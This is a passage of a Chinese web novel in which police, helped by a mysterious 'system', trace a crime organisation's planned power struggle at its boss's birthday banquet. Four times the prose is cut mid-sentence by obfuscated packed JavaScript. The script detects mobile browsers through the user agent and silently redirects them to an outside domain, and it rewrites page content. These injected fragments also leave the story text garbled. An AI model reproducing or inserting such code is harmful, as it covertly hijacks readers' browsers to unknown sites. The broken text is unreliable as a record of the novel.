周立言接过房卡，微微点头，“谢谢你们的配合，我们会尽量低调查案的。” 6层到了，经理继续带路。 程昭一边走一边观察，发现这个酒店，果然很注重隐私。 相邻的房间，房门朝向不同的方向。走廊还布置了绿植屏风，加强了隐蔽性。 房子墙体较厚，隔音效果不错。程昭看到有一个房间正在开派对，房间里面音乐声很大，但是房门一关，声音几乎就听不到了。 程昭留意了系统，这个酒店在爆炸案里面，关联性不算太高。它在其他案件没有显示相关。 估计这个酒店和组织没有什么直接关系，纯粹就是红狐、韩高煊暂住的地方。 到了606号套房，大家看到，这个套房很大，有两个房间、一个大厅。 大厅里面包含了开放性厨房、客厅、饭厅，有电视、音响、冰箱等电器。 房间里面有独立的卫浴，浴室有泡澡池，可以引温泉水到房间。 房间很整洁很干净，众人都忍不住在心里叹了一口气。打扫成这样，估计也没有什么有用的线索了。 程昭参观完房间，悄悄看了看系统，系统只标记了一些红狐、韩高煊的生活痕迹，而且关联度很低，对案件没有什么用处。 …… 经理：“客人退房当天，我们就会安排人打扫……我刚刚查过，那两个客人住了一个多月，他们特意要求我们，传唤了再叫人过来打扫。” 程昭：“那他们的垃圾呢？他们的垃圾都清理掉了吗？” 经理想了想，不确定地说：“垃圾应该是每天放门口的，他们的垃圾可能已经运走了……我让保洁上来，你们直接问她吧。” 经理打电话到前台，让前台找到这一层的保洁人员，叫她上来。 没多久，保洁员李慧娟到了房间。她大概五十岁，头发花白，皮肤有点粗糙，扎头发的发圈已经毛边了，看起来生活有点拮据。 李慧娟手足无措地进入房间，神态有点紧张。 经理：“娟姐你不用紧张，警察问什么你回答什么。” 李慧娟咽了咽口水，看了看经理，然后看向周立言，“警察同志，你们想知道什么？” “这个房间，一直都是你打扫的吗？” “是、是的。” “你有看到过什么可疑的东西吗？” “可疑的东西？酒店里面什么样的客人都有……这个房间的两个客人很安静很省心。他们和其他人比起来，反而是比较正常的。”李慧娟忍不住吐槽了一下。 “你有和他们说过话吗？有没有听到他们提起过什么？” 李慧娟回忆了一下，“也算说过话吧……有个客人好像身体不太舒服，经常都在房间里面。我来搞卫生的时候，他会告诉我哪里需要清洁，哪里不需要。” “除了搞卫生的话题，你有没有听到，他们对话或者讲电话？” 李慧娟点头，“有，有一次我来的时候，生病的客人在房间打电话，另一个客人给我开门。我清扫的时候，听到他们说什么生日宴，订购什么东西。 还有一次，我听到生病的客人和一个女生打电话，后来又叫另外一个客人过去讲电话。不过那次我没听到他们在讲什么。” 【系统新增了一个未知事件，归纳到“KL组织事件集”，把“生日宴”标记了关联。】 居然是未知事件？好像第一次看到。程昭打开了这个事件，认真查看。 【事件概述里面，显示红狐、韩高煊是主谋，但是事件的具体内容，全部都写着未知。关联表里面有用信息很少。】 程昭不太明白这是什么情况，是接触的线索太少了？她干脆召唤系统小五，让它帮忙解答疑惑。 【系统小五了解情况后，让程昭稍等，然后回复她：“我查了相关资料，这种情况是比较少见的。在探案素材收集里面，未知事件通常是还没有发生、正在计划的案件。系统一般不会识别还没发生的案件，但是如果这个案件影响很大，它可能就会被识别出来。”】 还没有发生，但是影响很大？程昭带着疑惑，继续旁观周立言询问李慧娟。 “生日宴的时间是什么时候？” 李慧娟摇头，“这个没有听到。” “他们订购了什么？” “好像就是一些食材，进口和牛、生鲜蔬菜什么的……对了，他们说，不需要海鲜。” 周立言继续问了一些问题，例如有没有访客之类的。但是李慧娟都说没有看到、不太清楚。 李慧娟：“……他们平时很少叫人进去搞卫生的，都是把垃圾放在门口，让我自己拿走。” 周立言看了看记事本，感觉没有什么有用的线索，不禁有点气馁。难得查到红狐、韩高煊的行踪，没想到痕迹都被清理干净了。 虽然已经隔了三天，希望比较渺茫了，但是他怀着一线希望，“他们的垃圾都运走了吗？” 李慧娟皱着眉头，神情有点为难，“……应该已经被垃圾车运走了吧？我们酒店的垃圾，淡季每天运一趟，旺季每天运两趟。隔了这么久，应该都拉去垃圾厂了。” 【“丢弃的垃圾”、“保洁李慧娟”等词条都被标记了关联，但是“保洁李慧娟”的关联程度很弱。】 程昭思考了一下，感觉李慧娟应该是隐瞒了点什么。结合她的经济状况和工作范围，程昭隐约有个想法。 程昭悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837192|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和侯远山打了个招呼，拜托他把经理引开，她有问题想问李慧娟。 侯远山点头，然后随便找了个借口，拜托经理带他和孙泽林去监控室，顺利带走了经理。 周立言看到程昭的小动作，猜到她有问题想要偷偷问李慧娟，便停下来，让她来提问。 程昭笑了笑，然后看着李慧娟，“房间那些垃圾，真的都丢掉了吗？” 李慧娟硬着头皮，“当然，当然丢掉了……” “经理被我们引开了，这里只有你和警察。你可以放心，和我们说实话。” 李慧娟垂眸，欲言又止，“……” 程昭继续温和地劝说，“你和我们实话实说，放心，我们会帮你打圆场的，不会让你为难的。” 李慧娟沉默了一会，咬咬牙，抬起头，“我之前说谎了，我翻了客人的垃圾，把值钱的、可以回收的，藏起来了……对不起。” 众人眼睛一亮。真的是山重水复疑无路，柳暗花明又一村。 李慧娟继续说：“我有难处……我一把年纪了，工资不高，家里穷。我只能到处扣扣搜搜地赚钱。我只是想卖点废品，不是有意看客户隐私的！如果被酒店知道了，我可能会被开除……” 周立言安抚道：“你放心，我们不会乱说的。你这次可能帮了我们大忙。” 李慧娟安心了一些，然后把藏废品的地方告诉了他们，“东西放我家院子里了，你们可以直接去拿。窗户下面两个灰色袋子。不过这个房间的东西，可能和其他房间的混在一起了。” “没关系，我们会分辨的。不过可能还要请你帮忙辨认一下……” 众人安抚好了李慧娟，李慧娟答应了迟些帮忙辨认。 没有其他问题，李慧娟就先回去工作了。 …… 乔良、陈丰离开酒店，去李慧娟家里拿藏起来的废品。 周立言联系了鉴证科的人，让他们带人来这边，到酒店和农家乐取证。 “农家乐爆炸，虽然片区警局检查过现场，但是市局的鉴证科再来看看，说不定还有其他发现……片区警局取证的样本，鉴证科也会带回去重新检查。” 然后，周立言继续打电话，询问温泉度假区生活垃圾的处理流程，询问垃圾厂的联系方式……尝试寻找被拉走的垃圾，顺便给那些偷藏的废品打掩护。 周立言忙活的时候，程昭也没有闲着。 房间里面是没有什么线索了，清理得太干净了，系统发现的痕迹也寥寥无几。程昭甚至怀疑，韩高煊他们离开的时候，是不是自己做了清洁。 不查看房间，那就查看，酒店的监控视频和入住记录。 视频的时间比较长，一时半会看不完这么多，程昭优先看了入住记录。 红狐、韩高煊入住登记用的是□□。程昭看到，系统标记了他们的入住记录。 确定了系统会标记相关人员的入住记录，程昭就放心地一目十行，刷刷刷地看完，最近两个月的入住记录。 【系统标记了几条相关的入住记录。】 有了相关的入住时间，程昭找到登记处的监控记录，按日期找到了那几个相关人员的录像视频。 这几个相关人员，有几个去过农家乐开会。 另外还有一个人，程昭他们曾经见过——地下赌场案，金堂饭店经理，李怀。 100. 采购清单 没想到，李怀居然悄悄来过A市。 这些人也太大胆了，他们身上还背着通缉令。 不过那些通缉令，好像没有太多效果…… 程昭默默吐槽，继续寻找线索。 李怀这个时间来温泉酒店，大概率是来找红狐他们的。红狐身上有伤，行动不便，而且地位比较高，所以应该是李怀主动来见红狐。 电梯内部、电梯口和楼梯间有布置监控，红狐他们房间在6层，李怀房间在4层……程昭通过系统辅助，很快找到了李怀来找红狐的视频证据。 周立言打完电话，程昭向他招手，让他过来。 “怎么了？” “我在监控录像里面发现了一个熟人。你还记得，赌博案那个逃跑的经理吗？” 程昭把电脑转过去给周立言看。 周立言回忆了一下，很快想起来了，“李怀？他居然来了A市。” 两人快速翻看了录像和住房登记。 李怀在白龙酒店只住了3天，他的房间已经换过几波住客了，估计里面不会有什么线索留下。 期间，他去找了三次红狐。红狐没有去找过李怀，但是韩高煊曾经去过，而且去了两次。那两次都是韩高煊从外面回来，先去了李怀那里，再回去606套房。 “韩高煊和李怀之间，应该有什么秘密。”周立言推测。 程昭也觉得有点不对劲，“如果是红狐有事找李怀，应该会直接叫李怀过去。韩高煊和李怀，应该是背对着红狐，有什么计划。” 周立言：“他们私下讨论，而且不敢通过手机联系，估计讨论的内容非常重要，非常敏感。” 程昭看了看系统，【“未知事件”里面，排行比较高的关联信息，分别是：“生日宴”、“红狐对大boss不太尊敬”、“红狐私下培养势力”、“韩高煊得到重用，在组织有话语权”、“韩高煊和李怀私下会面”、“红狐和李怀见面”】。 线索还是有点太少了，希望那堆垃圾里面有更多线索吧。 …… 二十多分钟后，乔良和陈丰带着两大袋东西回来了。 奇怪的是，乔良的神情看起来不太对劲，一副心不在焉的样子。 “发生了什么事吗？”程昭有点担心。 陈丰看了看乔良，摇了摇头，“我也不太清楚，刚刚乔叔接了一个电话，然后就这样了。” “我在想一些事情，”乔良苦笑，他看向周立言，“我们之前不是请了私家侦探去A国吗？刚刚有消息回来了。” “什么？！找到乔琳了？”大家眼前一亮，然后感到十分紧张忐忑。 乔琳失踪了八年，一个19岁的女孩子被拐卖，她会遇到什么非人的遭遇？普通人根本无法想象，也不敢想象。 乔良皱眉：“之前人口贩卖案，专案组那边查到了常用的走私贩卖链路，顺藤摸瓜，找到几个可疑的本国和A国机构。私家侦探也顺着那些线索，去找乔琳的下落…… “之前他们查到，乔琳被带到A国……某个会所。乔琳反抗，打伤了会所的客人，然后被人拉走了。按照他们常用的手段，她应该会被带到次一等的会所，或者血汗工厂，但是没有，私家侦探没有找到她的下落。当时私家侦探认为，乔琳可能是死了，或者被组织内部的人带走了。 “刚刚他们打电话给我，说找到一个容貌受损的人，她可能是乔琳，但是那个女孩不相信他们。我和私家侦探说了一些，只有我和乔琳才知道的事情。他们准备再找机会，接近那个女孩。” 大家面面相觑，不知道说些什么才好。 周立言叹了一口气，拍拍乔良的肩膀。 乔良苦笑，摇摇头，“没事，大家不用管我，我会调理好的，无论什么结局，我都做好心理准备了。大家继续查案吧。” …… 周立言让鉴证科的人继续搜证，然后他带着其他人先去警局，借了一块地方，把保洁捡走的垃圾打开。 这堆东西虽然说是垃圾，不过味道不算太重。李慧娟只留下了值钱的，例如饮料瓶子、纸张、一些还没有用完的旅行小样、忘记带走的旅行纪念品之类的东西。 这些东西混在了一起，周立言他们都感觉有点无从下手，只能一个个慢慢查看。 程昭有系统帮忙，很快找到了红狐他们留下来的东西。 那些东西没有什么明显的记号，大部分都是和案件无关的。所以她就没有一一捡出来，只是蹲下来，仔细观察。 忽然，她看到了一本美食杂志，系统显示和“未知事件”有关。 【美食杂志的某一页写了一列购物清单，里面包含了海鲜、肉类、蔬菜、花卉、装饰配件、生日蛋糕、红酒香槟等东西，采购的分量和种类都很多，感觉是在准备一个几百人的宴会。 清单旁边，是一个获奖的蛋糕工作室的推荐介绍。 旁边的空白处还写了一些东西，但是被人用笔划花了，程昭勉强看出是一串英文和数字。 这些内容都被系统标记了，和“未知事件”有关。】 程昭把这边杂志拿给周立言他们看，“李慧娟不是听到他们打电话，说准备什么生日宴采购吗？杂志这里列的清单，感觉就是红狐他们写下来的。” 大家都很好奇，纷纷围了过来。 乔良：“确实有点像，而且买的东西那么贵那么多，这种不太常见。” 孙泽林惊呼：“嘶，这个酒，我记得一瓶就要四位数了，这里居然写了10箱？” 周立言：“这个笔迹有点像韩高煊的笔迹，等下我们找鉴证科的人，检测一下指纹和笔迹……还有看看划花的内容，是什么内容。” “划花的内容，我有个办法可以先试试……”程昭找警局办公室，借了铅笔和白纸。她把白纸放在划花的内容上面，用铅笔轻轻涂画。 经过一番尝试，白纸上面复现了前人写下的内容。 首先是四个数字XX.15，这个应该是日期。 然后是一串看得不是很清楚的英文和数字。程昭不太清楚这是什么，但是系统显示这个线索挺重要。 周立言看着这串英文数字字符，面色有点凝重。 “周队，这个是什么？你是不是看出来了？” 周立言：“让实验室的人，尽量复原内容……现在看到的部分内容，让我想起一个恶名昭彰的军火商。他手里有很多大规模的杀伤性武器，传闻他和很多□□、恐怖组织有交易关系。如果红狐真的和那个军火商交易，那么他们肯定是准备做什么大事…… “不过现在还不能直接下定论，说不定和那个军火商没关系。另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859077|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外，如果这四位数字是日期，那么就是二十天之后。万一没有搞清楚他们计划做什么，我们也只能干着急。” “尽量查吧，尽人事，听天命。” …… 垃圾堆里面，有可疑的东西，周立言都找实验室帮忙检测。 杂志被优先检测，很快确定了上面留有红狐和韩高煊的指纹，笔迹也属于韩高煊。 被划花的内容，复原出来的内容，就是一个日期，那个军火商的代号，还有一组数字。 虽然还不能确定红狐他们打算做什么，但是那个军火商的出现，让警方十分紧张。KL组织这些人搞事情，如果是在国外还好，如果在国内，出问题就麻烦了。 …… 海关加强了检查，还把所有工作人员彻查了几遍，捉到了几个帮忙走私的人。 专案组也加快查案的速度。 之前农家乐出现的几个陌生面孔，经过一番筛查，找到了对应的人。 其中两个人，被证实是周氏的人，一个是总裁周青海的私生子，一个是周青海同父异母兄弟的儿子。 他们被捉之后，很快就招了自己做过的事。 他们在周氏任职，而且和总裁沾亲带故，手上有一些权力，手下的人也不敢质疑他们。 一开始，他们借公司的船，夹带私货，赚点小钱。这种方法来钱快，他们胆子越来越大，后来被组织的走私犯发现了。组织的人找到他们，威逼利诱之下，他们成为了组织走私的帮手，给走私网络大开方便之门。 为了掩饰自己参与其中，他们对周立德百般讨好，让他放下戒心，把他们当做自己人，然后把很多问题订单，都找他签了名。周老三对工作的事十分敷衍，又十分轻信他人，他根本不知道自己签名的文件有没有问题…… 经此一事，周氏名声大大受损，老板的私德情事沦为笑柄，股价大跌。因为很多走私订单和他们有关系，可能还要面临巨额罚款。涉案的人员都被收押了，等待审判定罪。 这样的情形，周立言多少也有受到一些影响。不过他立身端正，没有参与周氏的经营，经得起细查。大家议论一阵就过去了。 程昭倒是有点心疼他，周立言趁机占了不少便宜。 …… 时间有限，周立言一组人快马加鞭地查相关的线索。 他们手上，目前最有用的线索，就是那本杂志。 他们根据清单的商品，一个个打电话询问商家，最近有没有客户下过数量相似的订单。不过，清单上很多商品都是国外的品牌，对他们的电话咨询并不买账，百般推脱，甚至直接挂断电话。 程昭另辟蹊径，把目标放在清单旁边的蛋糕工作室。 韩高煊在这一页写清单，估计不是随便选的。他们要搞生日宴大派对，清单也写着需要订购蛋糕。这家获奖的蛋糕工作室，很可能就是他们选的供应商。 这个工作室在国内也有分店，程昭和周立言直接找上门。 直面警察的情况下，工作室的人不敢轻慢，老老实实地联络了其他分店。几番询问，工作室的人确定了，有人联系总部下了一个大订单。 那个客户要求他们，在下个月15号之前，准备一个三层大蛋糕和500份小蛋糕。收货地点在H市，但是具体的收货地点还没有确定。 101. 未知事件 那个预定蛋糕的客人，是通过蛋糕店的官网，填写预定订单，支付定金，完成下单的。预约订单上面，要求填写的个人信息比较简单，所以只知道那个客人姓高，还有他的手机号。 蛋糕工作室的人曾经打电话联系他，想要和他沟通一些细节问题，打了几次没打通。后来，是客人自己打了电话回来，他们才联系得上。 他们沟通完，准备挂电话的时候，客人还特意强调了，不要直接打电话给他，有问题可以先发短信，他看到了再来联系蛋糕工作室。 工作室的电话有设置录音，所以那通电话有保留下来。 程昭、周立言听了录音，感觉有点像韩高煊的声音，但是不太确定，只能带回去，找技术员进一步确认。 通过系统，程昭可以确定，那个订单和“未知事件”有关。 但是，周立言这边还需要比较确切的证据，不然很难说服警方的其他人。 蛋糕工作室这边没有太多线索，程昭他们只好先离开。 离开之前，程昭和周立言都和蛋糕工作室的人，大概说了一下，他们可能正在和危险人物做交易。 负责人有点担忧，不想招惹麻烦，甚至有点想要取消这个订单。 “千万不要取消，”程昭提醒，“你们就当我们没有来过，不知道这些事情，照常准备材料……如果对面真的是危险人物，你们收下定金又反悔，他们可能会怀疑，你们是不是有什么问题。” “是的，你们最好对这些事情先保密。”周立言点头，“我们很快就会有结果了，你们照常准备材料……如果对方联系你们，请你们保持镇定，照常沟通，然后再联系我们。” 负责人忧心忡忡地答应了。 …… 技术部拿到电话录音，马上拿去检测，看看能不能匹配。 大家在查购物清单商品的时候，乔良的电话突然响了。 乔良一看来电显示，立刻有点紧张地站了起来，“是私家侦探！” “你快接啊！”大家都很在意，纷纷靠了过来。 乔良吸了一口气，接通电话。 不知道电话对面和乔良说了什么，乔良脸上又惊又喜又悲，老大叔的脸上很快挂满了眼泪。 “小琳，你怎么不回家啊……你给我们打个电话，我无论如何都会赶过去救你的……”对面又继续说了一些话，乔良脸色越来越难看。 乔良咬咬牙，“你放心，我们快查到他们老巢了，没多久你就自由了……我的同事在旁边，我把电话外放，可以吗？” 电话对面迟疑了一下，然后应允了，乔良打开了外放，并和大家简单讲了一下乔琳的情况。 私家侦探找到的那个毁容女孩，确实就是乔琳。 八年前，她打伤了会所的客人和打手，被组织惩罚，她求死不成，意外毁容。组织里面一个高层有特殊癖好，把她带走了。乔琳被当做玩物和情妇，不过处境倒是比在会所好一些。她一直和组织的人周旋，找机会逃跑…… “……好了，我的事可以以后再说，我这边不太安全，不能和你们讲太久。”一道有点沙哑的清冷女声，在电话响起。 “我听到你们在查KL组织，我这边听到了一些事，可能对你们有用。包养我的人叫庄士诚，代号鲨鱼，他们最近应该有什么大行动。 “他们集结了很多人手，买了很多武器，联合了海盗船队。目标好像是国内的某个海岛，那里离一个叫月牙岛的地方很近，他们打算把船队和人马藏在月牙岛上面。具体日期和行动，我没有打听到。” 周立言：“那你知道，他们的行动目标吗？” 乔琳语气有点不确定，“我怀疑，鲨鱼准备对组织的大老板下手。大老板好像已经很老了，有个刚刚成年的儿子，他想让他的儿子接手组织。鲨鱼和另外几个高层，似乎都很不满。这次的大行动，可能和争权夺利有关系。” 乔琳那边好像有什么动静，她似乎来不及解释，匆匆把电话还给私家侦探，然后就离开了。 电话传来稀稀拉拉的杂音，私家侦探似乎一直在移动位置。过了两三分钟，私家侦探那边才稳定下来。 私家侦探：“刚刚有点危险，差点被看到了，不知道有没有被怀疑……短时间之内，我们最好不要再来联系乔琳。” 私家侦探解释了一下乔琳的情况，她身上戴着定位的电子镣铐，离开限制范围就会立刻被电击。她可以在别墅外面逛花园，但是如果长时间停留在屋外，里面的佣人就会过来检查。他两周之前就怀疑她是乔琳，但是最近几天才找到机会，和乔琳接触上。 …… 程昭看了一下系统，乔琳说的情报，全部都和“未知事件”有关。 【不过这个“未知事件”，已经发生了变化。 它变成了“KL组织夺权事件”。 事件概述显示，红狐、鲨鱼、韩高煊等组织人物，都在暗中计划争夺组织的金钱和权力，冲突会在生日宴上面发生。 关联信息表里面，之前接触的很多信息都被标记关联。 其中关系最密切的情报，分别是：“生日宴”、“组织老板年老，长期休养”、“红狐、韩高煊联系军火商”、“红狐私藏钱财，在外培养势力”、“红狐很信任韩高煊”、“鲨鱼集结人手，联合海盗船队”、“总部基地在南方海岛”、“月牙岛离总部基地很近”……】 结合最近接触到的线索，和线索的优先级，程昭在心里开始梳理和推测整件事的状况： 生日宴如此隆重，这么多高级成员前往，生日的人应该就是组织的大boss（系统确认推测正确）； 大老板年老体衰，长期在南方小岛休养，权力把持在红狐、鲨鱼、猎豹的手上； 培养组织打手的猎豹突然死亡，权力被红狐、鲨鱼瓜分，红狐、鲨鱼都有了更大的野心，私自培养势力； 从生日宴的购物清单食材的等级和数量，可以看出，那天出席宴会的人有很多，而且来头不小。大老板想要让小儿子继承组织，很可能是打算在宴会上面做正式宣布（系统确认推测正确）；< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869862|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所以红狐、鲨鱼都急着，在生日宴那天动手； 组织的总部基地在南方的某个小岛，离一个叫月牙岛的地方很近； 鲨鱼的海盗船队藏在月牙岛上； 红狐有自己的势力，还和军火商交易。很可能会安排人马，携带杀伤力巨大的武器，前往基地小岛； 韩高煊在事件里面也充当了重要角色，他还和李怀秘密勾结，他可能不止充当了红狐的帮手（系统确认推测正确）； 红狐对韩高煊十分信任，对他极力栽培； 红狐受伤期间，让韩高煊全权代理，连密谋夺权的事也交给他去办； 之前保洁听到红狐和一名女生打电话，然后又叫韩高煊过去接听。按照龙傲天小说男主运气、女人缘爆棚的设定，红狐很可能有个很受宠爱的女儿，这个女儿和韩高煊正在交往，所以红狐把韩高煊当成女婿来栽培（系统确认推测正确）； 按照龙傲天小说的设定，韩高煊不是甘于人后的人物。之前拐卖案，红狐关车门、杀死了韩高煊的堂弟，以龙傲天睚眦必报的个性，想必韩高煊早就对红狐心生不满。韩高煊代理红狐办事，接触到更多权力，估计也有了更大的野心（系统确认推测正确）； 红狐、鲨鱼、大老板多方势力，在生日宴爆发冲突，韩高煊可能也留了后手，打算河蚌相争渔翁得利（系统确认推测正确）…… …… 程昭把自己的推测，告诉了组内的同伴们。 虽然程昭推测的有些地方还没有实证，但是大家都觉得她猜测的很可能是真的。按照程昭的思路，很多零碎的线索都被串连起来了，一些想不通的地方也有了解释。 刚好，技术部的人发信息给周立言，说蛋糕工作室的电话录音结果出来了，预定蛋糕的人，确实就是韩高煊。 这个信息进一步佐证了程昭的推测。 “基地小岛离一个叫月牙岛的小岛很近，地处我国南方……但是上网查地图，我们好像没有小岛叫月牙岛。”孙泽林看着屏幕上的搜索结果，眉头紧锁。 侯远山：“会不会是形状像月牙呢？” “确实，我查一下，”孙泽林立刻开始查询，“有了……哎，怎么这么多个小岛，都是月牙形状……” 周立言：“那，有没有和H市比较近的？蛋糕的取货地点在H市，韩高煊应该不至于取个蛋糕，还要绕远路。” 孙泽林继续查，离H市比较近的月牙岛，“哈，还真的有一个！” 乔良：“那附近有没有什么小岛？” 孙泽林有点发愁，“有好几个，你们看。”屏幕转向众人。 程昭俯身一看，系统标记了一个名叫蓬莱岛的地方。 程昭查了一下，这个小岛和其他零星的岛屿，相隔比较远，周围还有很多暗礁和乱流，岛上不能种植农作物，没有什么居民。十年前有富商在那里买了大片的土地，盖了俱乐部。 程昭指出这个小岛，“会不会是这里？人烟稀少，有暗礁乱流，还有富商买地建俱乐部。” 102. 专案组的质疑 乔良：“这么说来，这个蓬莱岛的地理条件确实很优越，挺适合做秘密基地。” 周立言点头，“可以优先查一查这个小岛。查一下这个买地盖房的富商是什么来头，小岛有没有什么常住人口，岛上或者周围海域，有没有什么怪事发生……” 程昭看了看系统，补充道：“除了查小岛的事，我们还可以查一下鲨鱼的背景。庄士诚有可能是他的本名或者常用的身份，说不定会有所收获。” 大家纷纷应是。 …… 经过几番努力，大家找到一些可用的线索。 蓬莱岛周围礁石丛生，不利于船舶靠岸。礁石之间暗流汹涌，而且暗流还会随着洋流季节性变化。小岛附近的海域经常有海雾飘起，增加了行船的难度。 除了附近岛民、熟悉环境的老渔民，一般人都不敢靠近这边。而且蓬莱岛上没有什么经济作物，很少渔民会选择在那里定居。 十年前，富商在岛上买地盖房子，一些渔民曾经打算去岛上，看看有没有工作机会，大部分的人都被拒绝了，只有少数人被招募，留了下来充当船夫和保安。 偶尔有些人好奇富商的俱乐部是做什么的，在蓬莱岛外围转悠，但是普通人无故靠近，会被巡逻的人驱赶。 那边行船条件太差，很容易出事故，渐渐地，很少人再去蓬莱岛那边。 渔民之间有信息交流，大家都认为留在蓬莱岛上面的渔民都变得有钱了。但是那些人神神秘秘的，不会说蓬莱岛上的事，也不肯推荐工作，不想带其他人一起发财。 当年在岛上买地的富商姓黄，全名黄文斌，据说是个归国华侨。程昭他们在系统里面，没有查到多少这个富商的信息。 另一方面，他们查庄士诚，也查到了一些往事。 庄士诚不是假名，确实有这么一个人。 十五年前，庄士诚是X市最大□□的一个头目。 当年X市扫黑严打，那个帮派被瓦解。虽然X市警方抓捕了不少人，但是还是有不少漏网之鱼，帮派的不少钱财还被人趁乱抢走了。 帮派解散两年后，庄士诚摇身一变，成为了一家贸易公司的副总经理。这个公司的老板叫罗坤，总经理叫洪志才。 这家公司营业了两年，后来被人举报诈骗，警方去查案的时候整个公司人去楼空，所有人都逃走了。 警方怀疑他们逃到国外去了，因为当年诈骗案的资金也流向国外。 当时的技术和警力有限，最后这个案件不了了之。 …… “罗坤，LK，KL……难道说，他就是组织的大老板？”程昭发散思维，胡乱猜测，系统确定了她的想法。 周立言沉吟，“确实有这个可能……如果当年罗坤的资料是真实的，那他今年应该就是68岁。他的家庭背景，最小的儿子今年18岁。和乔琳电话说的情报刚好对得上。” 乔良：“而且洪志才和红狐年龄相近。当年的照片很模糊，但是看起来，他和红狐有七八分相似。” 沿着这个方向，刑事三队找到了更多关于罗坤、洪志才、庄士诚等人的往事，大概确定了这些人都和当年X市□□有关。 那些人联合起来，瓜分了帮派的势力，逃到外地另起炉灶。又通过诈骗手段吸收了大量的钱财，认识了各行各业的人，联合诸多不法分子，一起组建了一张巨大的犯罪网络。 …… 罗坤的生日宴在15号，今天已经是10号了，时间已经不多了。 周立言把他们收集到的信息集中起来，一起汇报了上去。 专案组的几个领导，对刑事三队收集的情报，有点意见不一。 红狐可能是洪志才这件事，大部分领导觉得有这个可能。因为当年诈骗案有一些洪志才的照片，可以看出他们有几分相似。 但是鲨鱼是庄士诚，组织大老板是罗坤，总部基地在蓬莱岛……这些想法，有几个领导表示怀疑。 几个领导更相信专案组内部几个专家的判断，认为KL组织的总部在国外。 拐卖案、走私案收集到的很多线索，都证明了KL组织在A国颇有势力。 这几天，专案组的其他人还查到了几个疑似的地点，好几个都在国外。 专案组正在联络A国警方，准备联合调查。 上级领导怀疑刑事三队的判断，很大一个原因，是刑事三队没有解释清楚，为什么认为鲨鱼的真实身份是庄士诚。 周立言他们的说法是，收到可靠线报，但是周立言拒绝说清楚来源，而且拿不出具体的有力证据（乔琳还在鲨鱼的势力范围，周立言他们没有把她说出来，只是说收到线人情报）。 刑事三队后面查出来的内容和推断，很多都是基于鲨鱼是周士诚为前提。所以他们的很多情报，在专案组的眼里，都有点不太可靠。 罗坤在之前的组织案件里面，完全没有出现过。单凭罗坤的岁数、生日，就把他当成组织首脑，有点太儿戏了。 蓬莱岛距离蛋糕取货地点H市，也不算很近…… 最后，专案组只采纳了红狐可能是洪志才，其他的线索都被归纳到信息存疑里面了。 专案组大部分的注意力都放在国外的几个地点，没有什么人力资源可以提供给刑事三组。 …… 对于专案组的质疑，刑事三组既气愤又无奈。 虽然他们没有说明鲨鱼身份的信息来源，但是后面查到的很多线索，都可以侧面证明他们的推测。没想到，专案组的领导还是只相信他们的内部专家。 乔良很为难，如果不是为了保护乔琳，他们的处境就不会这么被动，专案组也不会怀疑他们的情报和推断。生日宴迫在眉睫，如果错过了，那很多人的努力就白费了。恶人可能会拿到更多的权力，可能会改名换姓，可能会更换住址，以后做更多的坏事…… 乔良沉默了很久，最后忍不住提出：“……要不，我们把乔琳的事告诉专案组的领导吧，只告诉领导，应该也不会泄露秘密。” 周立言摇头，“乔琳在敌人的大后方，人身安全都没有保障。她冒险告诉我们情报，我们也要为她着想…… “专案组那边查案很慢，我怀疑里面有人在误导查案方向。人多眼杂，我们最好不要冒这个险。 “我们的资历比不上专案组的专家，领导偏向他们的判断，这也是人之常情，没有办法。他们那边的证据链很完整，那几个地点看起来确实很可疑，专案组不太可能会放弃查那几个地方。 “再说了，我们就是把乔琳的事说出来，他们也可能会觉得，私家侦探查到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889866|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人有可能是假的。” 陈丰：“那我们应该怎么办呢？我们就这么几个人，KL组织那边有几方人马，有军火商有海盗参与，到时候打起来，肯定会很危险。” 孙泽林：“或者，我们要不要坐山观虎斗？等他们打完，我们再去捉人。” 侯远山附和：“对啊，反正那些人，都不是什么好人。” 